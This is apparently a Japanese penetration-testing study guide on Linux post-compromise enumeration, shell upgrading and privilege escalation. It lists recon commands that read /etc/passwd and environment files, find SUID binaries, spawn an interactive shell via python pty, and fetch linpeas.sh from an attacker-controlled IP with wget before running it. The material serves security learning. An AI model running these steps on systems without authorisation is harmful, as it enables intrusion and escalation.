コンテンツにスキップ

5.Linuxの侵入と権限昇格

5.1. Linuxシステムの列挙

列挙はシステムにアクセスした後に実行する必要がある最初の作業となる。

脆弱性を悪用してシステムにアクセスし、その結果 root レベルのアクセスが行われたか、低い特権アカウントを使用してコマンドを送信する方法を見つける可能性がある。 列挙は侵害前と同様に侵害後のフェーズでも重要となる。

5.1.1. マシンに関する情報の列挙

Linuxマシンに関する情報の列挙に役立つコマンド/ファイルなどを記載する。

hostnameコマンド

ターゲットマシンのホスト名を表示するコマンド。 企業ネットワーク内でのマシンの場合、ホスト名にターゲットシステムの役割に関する情報が含まれている場合がある。

hostname

uname -aコマンド

システム情報を出力して、システムで使用されているカーネルに関する追加の詳細を表示するコマンド。 特権昇格につながる可能性のあるカーネルの潜在的な脆弱性を検索するときに役立つ。

uname -a

/etc/hostsファイル

ネットワーク上のホスト名とIPアドレスの対応関係を定義するファイル。 このファイルにはローカルネットワーク内のコンピューター名やドメイン名とそれに対応するIPアドレスがリストされている。

/proc/versionファイル

ターゲットシステムのプロセスに関する情報が記載されているファイル。 カーネルのバージョンに関する情報や、コンパイラ (GCC など) がインストールされているかどうかなどの追加データが得られる場合がある。

cat /proc/version

/proc/self/environファイル

環境変数一覧が格納されたファイル。

/etc/issueファイル

システムを識別することができるファイル。

cat /etc/issue

一時ファイルの確認

cd /tmp
cd /dev/shm
cd /var/tmp

psコマンド

Linux システム上で実行中のプロセスを確認できるコマンド。

# 実行中のプロセスを確認できる
ps
# 全てのプロセスを表示
ps -A
# プロセスツリーの表示
ps axjf
# すべてのユーザーのプロセスが表示
ps aux

envコマンド

環境変数を表示するコマンド。 PATH 変数には、ターゲットシステム上でコードを実行したり、特権昇格に利用したりするために使用できるコンパイラまたはスクリプト言語が含まれる場合がある。

env

sudo -lコマンド

ユーザーがsudoを使用して実行できるすべてのコマンドをリストできるコマンド。

sudo -l

idコマンド

ユーザーの特権レベルとグループ メンバーシップの概要を表示するコマンド。

id <ユーザ名>

/etc/passwdファイル

システム上のユーザを発見できる。

cat /etc/passwd

historyコマンド

コマンド履歴を確認できるコマンド。

history

ifconfigコマンド

システムのネットワークインターフェイスに関する情報が取得できるコマンド。 別のネットワークへのアクセスヒントになりえる。

ifconfig

ip routeコマンド

ネットワークルートが存在するかを確認できるコマンド。

ip route

netstatコマンド

# 全てのリスニングポートと接続の確立の表示
netstat -a
# 上記をTCP/UDPで分けて表示
netstat -at
netstat -au
# リスニングモードのポートを表示(待ち受け)
netstat -l

# ネットワーク賞の統計表示
netstat -s/-t
# サービス名/PIDを含むリスト表示
netstat -tpl
# インターフェースの統計情報を表示
netstat -i

findコマンド

ファイルを絞り込み表示/検索できるコマンド。

find [場所] -name [名称]

find / -type d -name [ディレクトリ名]

find / -type f -perm 0777 # 全ユーザが読み取り、書き込み、実行可能なファイルを検索

find / -perm a=x # 実行可能ファイルの検索

find /home -user frank # ユーザー「frank」のすべてのファイルを「/home」の下で検索
find / -mtime 10 # 過去 10 日間に変更されたファイルを検索
find / -atime 10 # 過去 10 日間にアクセスされたファイルを検索
find / -cmin -60 # 過去 1 時間 (60 分) 以内に変更されたファイルを検索
find / -amin -60 # 過去 1 時間 (60 分) 以内にアクセスしたファイルを検索
find / -size 50M # サイズが 50 MB のファイルを検索

find / -writable -type d 2>/dev/null # 誰でも書き込み可能なフォルダーを検索
find / -perm -222 -type d 2>/dev/null # 誰でも書き込み可能なフォルダーを検索
find / -perm -o w -type d 2>/dev/null # 誰でも書き込み可能なフォルダーを検索

# SUID ビット(ファイル所有者権限を引き継いで実行するパーミッション)を持つファイルを検索
# これにより、現在のユーザーよりも高い特権レベルでファイルを実行できるようになる
find / -perm -u=s -type f 2>/dev/null

5.1.2. Linux向け自動列挙ツール

ツールを使用すると、列挙プロセスの時間を節約できる。 ただし、これらのツールは、一部の権限昇格ベクトルを見逃す可能性がある。

5.2. Linuxシステムのシェル奪取

5.2.1. 各ケースにおけるシェルの奪取

shellコマンド

通常の実行権限が奪える場合がある。 なお、対話文字は表示されない。

shell

対話的シェルの奪取

以下手順で対話的シェルを奪取できる。

which python
/usr/bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'

以下でも可能。

/bin/bash -i

5.3. Linuxシステムの権限昇格

5.3.1. Linuxシステムのローカル権限昇格

Linuxのローカル権限昇格に関してはGTFObinsのサイトが有用となる。

5.3.2. linpeas.sh(Linux Privilege Escalation Awesome Scripts)

linpeas.shはLinuxシステム上で権限昇格の可能性を検出するための自動スクリプト。 このスクリプトを使うと、システム内の潜在的な脆弱性や誤設定をチェックすることができる。

https://github.com/peass-ng/PEASS-ng

sudo apt install peass

使い方

# linpeas.shがあるフォルダに移動
cd /usr/share/peass/linpeas
# httpサーバを立てる
python3 -m http.server 5000

# ターゲット端末でダウンロード
wget [攻撃端末のIPアドレス]:5000/linpeas.sh
# 実行権限付与
chmod +x linpeas.sh
# 実行と結果の保存
./linpeas.sh | tee linpeas_output.txt